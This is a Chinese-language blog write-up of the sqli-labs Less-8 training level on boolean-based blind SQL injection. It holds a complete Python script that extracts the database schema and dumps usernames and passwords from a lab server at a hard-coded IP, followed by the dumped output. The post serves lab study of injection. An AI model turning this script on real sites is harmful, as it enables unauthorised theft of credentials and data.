sqli-labs8 编写脚本进行注入

发布 : 2019-04-04

Less -8

地址

本题的题目是Blind-Boolian Based-Single Quotes
地址后添加?id=1,回显Welcome Dhakkan You are in...........
再加上单引号后只有 Welcome Dhakkan推测是使用了单引号
使用0' or 1=1 --+返回正常,所以推测是使用单引号进行闭合,所以这里的注入过程应该和Less-5 一样,这一关是根据是否出现You are in...........来判断是否正确。

这次尝试写个脚本注入,最终能后获得数据库users表中所有数据的内容,参考了网上一些这一关脚本的写法,主要是猜解字符串的长度和具体字符,原理就是重复提交修改后的url,判断网页返回内容中是否有You are in .........,其中为了使输出结果清晰,注入过程的输出都进行了注释。

脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import urllib
from urllib import parse
from urllib import request
import re

url="http://43.247.91.228:84/Less-8/?id="
right_text="You are in..........."
table_names=[]
cols=[]
data=[]


# 获取名字长度
def get_length(check_name,limit=""):
length=0;
while True:
newurl="1' and length("+check_name+limit+")="+str(length)+"#"
response = request.urlopen(url + parse.quote(newurl)).read().decode()
# print(url+newurl)
if check(newurl)==True:
return length
else:
length+=1

#获取名字
def guess_name(namelength,check_name,limit=""):
name=""
for i in range(namelength):
a,b=64,64
while True:
b=int(b/2)
newurl="1' and ascii(substr("+check_name+limit+","+str(i+1)+")"+")<"+str(a)+"#"
# print(url+newurl)
if check(newurl)==True:
a-=b
else:
newurl="1' and ascii(substr("+check_name+limit+","+str(i+1)+")"+")="+str(a)+"#"
if check(newurl)==True:
name+=chr(a)
break
else:
a+=b
return name


#获取表的数量
def get_table_nums(check_name):
table_nums=0;
while True:
limit=" limit "+str(table_nums)+",1"
newurl="1' and ascii(substr("+check_name+limit+"),1))>0"+"#"
if check(newurl)==True:
table_nums+=1;
else:
break
return table_nums

# 获取表中列的数量
def get_column_nums(table_name):
nums=0
while True:
newurl="1' and (select count(*) from information_schema.COLUMNS where table_name='"+str(table_name)+"') ="+str(nums)+"#"
if check(newurl)==True:
return nums
else:
nums+=1

# 获取名字
def get_names(check_name,nums,names):
for n in range(nums):
#获取长度
limit=" limit "+str(n)+",1)"
length=get_length(check_name,limit)
# print("[+]长度为:"+str(length))
#获取名字
name=guess_name(length,check_name,limit)
names.append(name)

# 获取相应表中有多少数据
def get_data_nums(DBname,table_name,cols):
nums=0
columns=0
# 获取有多少列
while True:
column=cols[0]
newurl="1' and (select count(*) from %s.%s)=%s #" %(DBname,table_name,nums)
if check(newurl)==True:
break
else:
nums+=1
return nums
# 获取每一条数据
def get_data(DBname,table_name,cols,data_nums):
for i in range(len(cols)):
print("[*] "+cols[i]+"列的数据为:")
check_name=" (select %s from security.users " % (cols[i])
get_names(check_name,data_nums,data)
for n in range(data_nums):
print("-------"+data[n])
del data[:]

# 判断是否正确
def check(newurl):
# print(url+newurl)
response = request.urlopen(url + parse.quote(newurl)).read().decode()
if (re.search("You are in...........",response)):
return True
else:
return False

DBnamelength=get_length("database()")
print("[*] 数据库长度为:" + str(DBnamelength))
print("[+] 开始获取数据库名字")
DBname=guess_name(DBnamelength,"database()")
print("[*] 数据库名字为:"+ DBname)
table_nums=get_table_nums("(select table_name from information_schema.tables where table_schema=database()")
print("[*] 表的数量为:"+str(table_nums))
print("[+] 开始获取表名")
get_names("(select table_name from information_schema.tables where table_schema=database()",table_nums,table_names)
print("[+] 开始获取users表的列名")
column_nums=get_column_nums("users")
get_names("(select column_name from information_schema.columns where table_name='users'",column_nums,cols)
data_nums=get_data_nums(DBname,"users",cols)


print("[*] 当前数据库名字为:"+ DBname)
print("[*] 表的数量为:"+str(table_nums))
print("[*] 所有表的名字为:")
for i in range(table_nums):
print(" "+table_names[i])
print("[*] users表一共有"+str(column_nums)+"列")
print("[*] users表下所有列的名字为")
for i in range(column_nums):
print(" "+cols[i])

get_data(DBname,"users",cols,data_nums)

运行结果

运行后的结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
[*] 数据库长度为:8
[+] 开始获取数据库名字
[*] 数据库名字为:security
[*] 表的数量为:4
[+] 开始获取表名
[+] 开始获取users表的列名
[*] 当前数据库名字为:security
[*] 表的数量为:4
[*] 所有表的名字为:
emails
referers
uagents
users
[*] users表一共有3列
[*] users表下所有列的名字为
id
username
password
[*] id列的数据为:
-------1
-------2
-------3
-------4
-------5
-------6
-------7
-------8
-------9
-------10
-------11
-------12
-------14
[*] username列的数据为:
-------Dumb
-------Angelina
-------Dummy
-------secure
-------stupid
-------superman
-------batman
-------admin
-------admin1
-------admin2
-------admin3
-------dhakkan
-------admin4
[*] password列的数据为:
-------Dumb
-------I-kill-you
-------p@ssword
-------crappy
-------stupidity
-------genious
-------mob!le
-------admin
-------admin1
-------admin2
-------admin3
-------dumbo
-------admin4
[Finished in 177.7s]

总结

具体写出来的注入脚本逻辑并不复杂,就是先判断长度,再使用二分法挨个猜解每一位,判断依据就是页面的返回值,判断依据也可以修改,可以使用基于时间的盲注来进行判断,编写脚本的主要难点就是要熟悉各种基本的注入语句,任何一处都不要写错,可以把每个测试的URL都打印出来,方便查错。

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/4a1095d8.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!